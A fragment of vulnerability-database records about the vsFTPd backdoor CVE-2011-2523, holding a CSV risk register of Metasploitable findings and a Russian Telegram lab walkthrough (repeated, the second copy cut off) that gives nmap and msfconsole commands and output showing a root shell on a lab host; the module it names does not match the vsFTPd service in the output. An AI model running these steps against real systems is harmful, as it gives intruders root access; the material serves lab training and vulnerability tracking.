"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/2GKVzEdq0Q1GgXdde3R68qhjmtmEcsIfO4W2udc5u2OvA5M", "content": "", "creation_timestamp": "2026-06-05T09:00:04.000000Z"}, {"uuid": "9c2ec36e-e5e4-4e08-949c-602fd38150b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://gist.github.com/magajay4life-pixel/f7260a84b8e6d9a00baa0febf00bfd83", "content": "ID,Asset,Vulnerability,CVE,CVSS,Severity,Exploitability,Business Impact,Risk Rating,Remediation,Owner,Status\nVULN-001,Metasploitable Linux Server,Outdated Apache server 2.2.x EOL,N/A,9.8,Critical,High - Public exploits,Remote compromise,Critical,Upgrade Apache to 2.4+ and apply patches,WebAdmin,Open\nVULN-002,Metasploitable Linux Server,Operating system Ubuntu 8.04 EOL,N/A,10.0,Critical,High - No patches,Full system compromise,Critical,Upgrade to supported OS version,SysAdmin,Open\nVULN-003,Metasploitable Linux Server,Apache PHP-CGI Remote Code Execution,N/A,7.8,High,High - Metasploit module,Remote code execution,High,Disable CGI or patch PHP/Apache,WebAdmin,Open\nVULN-004,Metasploitable Linux Server,PHP-CGI query string injection,N/A,7.8,High,High - Public PoC,Remote code execution,High,Patch PHP and secure configurations,WebAdmin,Open\nVULN-005,Metasploitable Linux Server,CGI Remote File Inclusion,N/A,9.8,Critical,High - Metasploit module,System takeover,Critical,Disable remote file inclusion and validate inputs,WebAdmin,Open\nVULN-006,Metasploitable Linux Server,Publicly accessible phpinfo file,CWE-552,6.8,Medium,Medium - Recon,aids exploitation,Medium,Remove phpinfo files,WebAdmin,Open\nVULN-007,Metasploitable Linux Server,PHP version exposed via headers,N/A,7.5,High,Medium - Targeting known vulns,Targeted attacks,High,Disable expose_php,WebAdmin,Open\nVULN-008,Metasploitable Linux Server,Backup and sensitive files exposed,N/A,8.0,High,Medium - Direct access,Credential theft,High,Remove backup files and enforce access control,WebAdmin,Open\nVULN-009,Metasploitable Linux Server,Directory indexing enabled,CVE-1999-0678,6.5,Medium,Medium - Recon,Information disclosure,Medium,Disable directory listing,WebAdmin,Open\nVULN-010,Metasploitable Linux Server,Default Apache files exposed,N/A,9.2,Critical,Medium - Fingerprinting,Server fingerprinting,Critical,Remove default files,WebAdmin,Open\nVULN-011,Metasploitable Linux Server,HTTP TRACE/TRACK methods enabled,N/A,5.8,Medium,Medium - XST,Cookie/auth header exposure,Medium,Disable TRACE/TRACK,WebAdmin,Open\nVULN-012,Metasploitable Linux Server,Missing anti-clickjacking protection,N/A,6.8,Medium,Medium - Clickjacking,UI redress attacks,Medium,Add X-Frame-Options or CSP frame-ancestors,WebAdmin,Open\nVULN-013,Metasploitable Linux Server,Missing X-Content-Type-Options header,N/A,6.8,Medium,Medium - MIME sniffing,Malicious content execution,Medium,Add nosniff header,WebAdmin,Open\nVULN-014,Metasploitable Linux Server,Server responds to unsupported HTTP methods,N/A,7.5,High,Medium - Increased attack surface,Exploitation potential,High,Restrict HTTP methods,WebAdmin,Open\nVULN-015,Metasploitable Linux Server,Apache MultiViews enabled,CVE-2001-0731,7.5,High,Medium - Brute force,Discover hidden resources,High,Disable MultiViews,WebAdmin,Open\nVULN-016,Metasploitable Linux Server,phpMyAdmin exposed,N/A,7.0,High,High - SQLi/XSS,Database compromise,High,Restrict access and upgrade phpMyAdmin,DBA,Open\nVULN-017,Metasploitable Linux Server,vsFTPd backdoor vulnerability,CVE-2011-2523,10.0,Critical,High - Metasploit module,Remote root shell,Critical,Remove or patch FTP service,SysAdmin,Open\nVULN-018,Metasploitable Linux Server,UnrealIRCd backdoor,N/A,10.0,Critical,High - Metasploit module,Full compromise,Critical,Replace compromised service,SysAdmin,Open\nVULN-019,Metasploitable Linux Server,Bind shell backdoor detected,N/A,10.0,Critical,High - Active backdoor,Unauthorized remote access,Critical,Investigate and remove backdoor,SysAdmin,Open\nVULN-020,Metasploitable Linux Server,RMI registry remote class loading,N/A,9.0,Critical,High - RCE,Arbitrary code execution,Critical,Secure or disable RMI service,SysAdmin,Open\nVULN-021,Metasploitable Linux Server,VNC weak/default password,N/A,10.0,Critical,High - Brute force,Remote desktop access,Critical,Enforce strong authentication,SysAdmin,Open\nVULN-022,Metasploitable Linux Server,Telnet transmits credentials plaintext,N/A,9.8,Critical,High - MITM/Capture,Credential interception,Critical,Disable Telnet use SSH,SysAdmin,Open\nVULN-023,Metasploitable Linux Server,rlogin and rsh services enabled,N/A,9.8,Critical,High - Credential interception,Unauthorized access,Critical,Disable legacy services,SysAdmin,Open\nVULN-024,Metasploitable Linux Server,NFS shares world-readable,N/A,9.8,Critical,Medium - Mount shares,Data exposure,Critical,Restrict NFS permissions,SysAdmin,Open\nVULN-025,Metasploitable Linux Server,SMB signing not enforced,N/A,9.8,Critical,High - MITM/Session hijack,Session hijacking,Critical,Enable SMB signing,SysAdmin,Open\nVULN-026,Metasploitable Linux Server,Samba Badlock vulnerability,CVE-2016-2118,9.8,Critical,High - Public exploit,Privilege escalation,Critical,Patch Samba,SysAdmin,Open\nVULN-027,Metasploitable Linux Server,DNS cache poisoning,N/A,9.8,Critical,High - Cache poisoning,Traffic redirection,Critical,Patch DNS server,SysAdmin,Open\nVULN-028,Metasploitable Linux Server,DNS cache snooping,N/A,9.8,Critical,Medium - Info disclosure,Network activity inference,Critical,Restrict DNS recursion,SysAdmin,Open\nVULN-029,Metasploitable Linux Server,BIND DNS vulnerable to DoS,N/A,9.8,Critical,Medium - DoS,Service disruption,Critical,Upgrade BIND,SysAdmin,Open\nVULN-030,Metasploitable Linux Server,Slowloris DoS vulnerability,CVE-2007-6750,9.8,Critical,High - Resource exhaustion,Service unavailability,Critical,Configure connection limits/timeouts,WebAdmin,Open\nVULN-031,Metasploitable Linux Server,Weak SSL/TLS protocols SSLv2 SSLv3 TLS1.0,N/A,9.8,Critical,High - Downgrade attacks,Traffic interception,Critical,Disable weak protocols,WebAdmin,Open\nVULN-032,Metasploitable Linux Server,SSL POODLE vulnerability,CVE-2014-3566,9.8,Critical,Medium - Padding oracle,Decrypt encrypted traffic,Critical,Disable SSLv3,WebAdmin,Open\nVULN-033,Metasploitable Linux Server,SSL CCS Injection vulnerability,CVE-2014-0224,9.8,Critical,High - MITM,Session hijacking,Critical,Patch OpenSSL,WebAdmin,Open\nVULN-034,Metasploitable Linux Server,Weak Diffie-Hellman parameters Logjam,CVE-2015-4000,7.5,High,Medium - Downgrade,Decrypt traffic,High,Use strong DH groups,WebAdmin,Open\nVULN-035,Metasploitable Linux Server,Weak/anonymous cipher suites,N/A,7.5,High,Medium - Intercept,Communication interception,High,Disable weak ciphers,WebAdmin,Open\nVULN-036,Metasploitable Linux Server,RC4 cipher supported,N/A,6.8,Medium,Medium - Cryptographic attacks,Communication exposure,Medium,Disable RC4,WebAdmin,Open\nVULN-037,Metasploitable Linux Server,FREAK vulnerability,CVE-2015-0204,6.8,Medium,Medium - Downgrade,Weak encryption,Critical,Disable export ciphers,WebAdmin,Open\nVULN-038,Metasploitable Linux Server,SWEET32 vulnerability,N/A,9.8,Critical,Medium - Collision attacks,Session collision,Critical,Disable 3DES,WebAdmin,Open\nVULN-039,Metasploitable Linux Server,DROWN vulnerability,N/A,9.8,Critical,High - SSLv2 exploit,TLS session decryption,Critical,Disable SSLv2,WebAdmin,Open\nVULN-040,Metasploitable Linux Server,SSL certificate issues,N/A,9.8,Critical,Medium - MITM,Trust reduction/C MITM,Critical,Use valid certificates,WebAdmin,Open\nVULN-041,Metasploitable Linux Server,Weak SSH algorithms,N/A,9.8,Critical,High - Session compromise,Encrypted session compromise,Critical,Use strong algorithms,SysAdmin,Open\nVULN-042,Metasploitable Linux Server,Session cookies lack HttpOnly flag,N/A,9.8,Critical,High - XSS token theft,Session token access,Critical,Set HttpOnly and Secure flags,WebAdmin,Open\nVULN-043,Metasploitable Linux Server,Multiple exposed admin panels,N/A,9.8,Critical,High - Unauthorized access,File upload attacks,Critical,Restrict access and secure endpoints,WebAdmin,Open\nVULN-044,Metasploitable Linux Server,Apache Tomcat EOL version,N/A,9.8,Critical,High - Known exploits,Remote code execution,Critical,Upgrade Tomcat,WebAdmin,Open\nVULN-045,Metasploitable Linux Server,Weak password hashing MD5,N/A,9.8,Critical,High - Cracking,Password cracking,Critical,Use bcrypt/Argon2,SysAdmin,Open\nVULN-046,Metasploitable Linux Server,Application error disclosure,N/A,7.5,Critical,Medium - Info disclosure,Targeted attacks,Critical,Implement generic error handling,WebAdmin,Open\nVULN-047,Metasploitable Linux Server,Missing Content Security Policy,N/A,9.8,Critical,High - XSS/Data injection,XSS and data injection,Critical,Implement CSP header,WebAdmin,Open\nVULN-048,Metasploitable Linux Server,Vulnerable/outdated JavaScript library,N/A,6.8,Critical,Medium - XSS/Script injection,Client-side attacks,Critical,Update JS libraries,WebAdmin,Open", "creation_timestamp": "2026-06-16T06:00:26.000000Z"}, {"uuid": "73957224-1b3d-4a4e-b2eb-649b0f5aac3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/zpx2YN7HInPMmQ8KG8pYv6IBDfgk2AtEtv7usM5yLCaH_Ks", "content": "", "creation_timestamp": "2026-06-08T05:00:05.000000Z"}, {"uuid": "cbb6964b-52b2-4aaa-ad30-9a1e8868a458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/wDwm6-AY-JX6nhNni9OQWjE6Au1_mqn06OkP8toYPUyKP30", "content": "", "creation_timestamp": "2026-08-13T00:00:11.760190Z"}, {"uuid": "cde86bdd-2952-4542-8fa2-2d718d38f84c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/linuxkalii/347", "content": "\u269c\ufe0f \u200bMetasploitable: \u041f\u0440\u0438\u043c\u0435\u0440 \u0430\u0442\u0430\u043a\u0438\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u043e \u0430 \u0437\u0430\u043f\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u043d\u0438\u0442 \u0442\u0430\u043a-\u0436\u0435 \u043a\u0430\u043a \u043a\u0440\u043e\u0432\u044c \u0434\u043b\u044f \u0432\u0430\u043c\u043f\u0438\u0440\u0430 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0443\u044e, \u0441\u043a\u0440\u043e\u043c\u043d\u0443\u044e \u043f\u0435\u043d\u0442\u0435\u0441\u0442 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044e \u0443 \u0441\u0435\u0431\u044f \u0432 \u0441\u0435\u0442\u0438.\n\n\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0412\u0430\u043c \u043f\u043e\u043c\u043e\u0447\u044c \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u0438\u043b\u0438 \u0432\u0441\u044f\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0438\u0445 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c. \u0418\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f BWapp, Damn Vulnerable Web Application (DVWA), \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e CTF \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435. \n\n#Metasploitable\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0446\u0435\u043b\u0443\u044e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443. \u0418\u0434\u0435\u043c \u0441\u044e\u0434\u0430 https://sourceforge.net/projects/metasploitable/ \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0436\u0434\u0435\u043c \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0447\u0442\u043e \u043c\u043d\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0443\u0447\u0438\u0442\u044c \u0412\u0430\u0441 \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443. \u0412\u043a\u0440\u0430\u0442\u0446\u0435 \u0441\u043a\u0430\u0436\u0443 \u0447\u0442\u043e \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044e Oracle VirtualBox. \u042d\u0442\u043e \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u0438 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e. \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0441 ubutu 64x \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043a \u043d\u0435\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0441\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c.\n\n#\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440\n\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0434\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440. \u0414\u0440\u0443\u0437\u044c\u044f, \u0432\u0441\u0435 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u043c\u043e\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0438\u043a\u0430\u043a \u0438\u043d\u0430\u0447\u0435. \u0415\u0441\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u0447\u0442\u043e-\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c, \u0441\u0442\u0430\u043d\u044c\u0442\u0435 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u043e\u043c \u0438\u043b\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u0435 CTF. \u041d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0437\u043d\u0430\u043d\u0438\u044f \u0432\u043e \u0432\u0440\u0435\u0434 \u043e\u043a\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u043c!\n\n\u0410, \u0438 \u043a\u0441\u0442\u0430\u0442\u0438. \u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043c\u043e\u0441\u0442 \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435. \u0427\u0435\u0440\u0435\u0437 NAT \u043d\u0438\u0447\u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u0433\u043e\u0442\u043e\u0432\u043e \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u0432\u0445\u043e\u0434\u0438\u043c \u0442\u0443\u0434\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0430\u043d\u043d\u044b\u0445 msfadmin:msfadmin.\n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0439\u0434\u0435\u043c \u0432 Kali Linux \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u0431\u0443\u0434\u0435\u0442.\n\n#Nmap\n\u042f \u0431\u044b \u0441 \u0440\u0430\u0434\u043e\u0441\u0442\u044c\u044e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043a\u0430\u043d\u043d\u0435\u0440\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0442\u0438\u043f\u0443 Nessus \u0438\u043b\u0438 OpenVas, \u043d\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c nmap, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u0441\u0442\u0430\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u043a\u0441\u0438 \u0438\u043b\u0438 \u0442\u043e\u0440 \u043e\u043d\u0438 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\u0431\u044b \u0447\u0442\u043e-\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0432\u0430\u043c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0442\u044c \u043d\u0430\u0438\u0437\u0443\u0441\u0442\u044c \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 web \u0441\u0435\u0440\u0432\u0438\u0441.\n\n\u041f\u043e\u0435\u0445\u0430\u043b\u0438. \u0417\u0430\u0445\u043e\u0434\u0438\u043c \u0432 metasploitable \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430\u0448 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 ip \u0430\u0434\u0440\u0435\u0441. \u0412 \u043c\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d -  192.168.1.131. \n\n#\u041d\u0430\u0447\u0430\u043b\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\n\u041f\u0438\u0448\u0435\u043c \u0432 kali linux \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0434\u0443:\n\ud83d\udca3sudo nmap -sV -Pn --script vulners 192.168.1.131\n\u0424\u043b\u0430\u0433 sV \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0437\u0430 \u043f\u043e\u0440\u0442\u043e\u043c \u0438 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0435\u0433\u043e \u043f\u0430\u0442\u0447\u0430.\n\u0424\u043b\u0430\u0433 Pn \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u044b \u043d\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c  ping \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0445\u043e\u0441\u0442\u044b \u0431\u0443\u0434\u0442\u043e \u0431\u044b \u043e\u043d\u0438 \u043e\u043d\u043b\u0430\u0439\u043d, \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n#\u0412\u044b\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0427\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u0441\u0435\u043a\u0443\u043d\u0434 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u0430\u043c\u044b\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0435. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0432\u043e\u0437\u044c\u043c\u0435\u043c CVE-2011-2523.\n\n#msfconsole\n\u0413\u0443\u0433\u043b\u0438\u043c \u0432\u0441\u0435 \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u044d\u0442\u0438\u043c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c msfconsole \u0438 \u043f\u0438\u0448\u0435\u043c:\n\n\ud83d\udca3search ftp\n\n\ud83d\udca3use exploit unix/ftp/proftpd133cbackdoor\n\n\u0412\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443. \u042f \u0432\u044b\u0431\u0440\u0430\u043b cmd/unix/interact.\n\n\ud83d\udca3Set payload payload/cmd/interact.\n\n\ud83d\udca3set RHOSTS 192.168.1.131\n\n\u0422\u0443\u0442 \u043a\u0430\u043a \u0432\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442\u0435 ip metasploitable \u0432 \u043b\u043e\u043a\u0430\u043b\u043a\u0435.\n\n\ud83d\udca3Exploit\n\n\u0418 \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:\n192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)\n* 192.168.1.131:21 - USER: 331 Please specify the password.\n+ 192.168.1.131:21 - Backdoor service has been spawned, handling...\n+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)\n* Found shell.\n* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)\n\n\u0418 \u0432\u043e\u0442 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430. \u041f\u0440\u0438\u0447\u0435\u043c \u043e\u043d\u0430 \u0434\u0430\u0436\u0435 root \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430! \u0422\u0430\u043a \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0435 \u043d\u0430\u0434\u043e. \n\n@linuxkalii", "creation_timestamp": "2026-07-10T01:00:03.296041Z"}, {"uuid": "10df753d-fea3-4bb7-a585-b4b7f3408446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/linuxkalii/347", "content": "\u269c\ufe0f \u200bMetasploitable: \u041f\u0440\u0438\u043c\u0435\u0440 \u0430\u0442\u0430\u043a\u0438\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u043e \u0430 \u0437\u0430\u043f\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u043d\u0438\u0442 \u0442\u0430\u043a-\u0436\u0435 \u043a\u0430\u043a \u043a\u0440\u043e\u0432\u044c \u0434\u043b\u044f \u0432\u0430\u043c\u043f\u0438\u0440\u0430 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0443\u044e, \u0441\u043a\u0440\u043e\u043c\u043d\u0443\u044e \u043f\u0435\u043d\u0442\u0435\u0441\u0442 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044e \u0443 \u0441\u0435\u0431\u044f \u0432 \u0441\u0435\u0442\u0438.\n\n\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0412\u0430\u043c \u043f\u043e\u043c\u043e\u0447\u044c \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u0438\u043b\u0438 \u0432\u0441\u044f\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0438\u0445 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c. \u0418\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f BWapp, Damn Vulnerable Web Application (DVWA), \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e CTF \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435. \n\n#Metasploitable\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0446\u0435\u043b\u0443\u044e 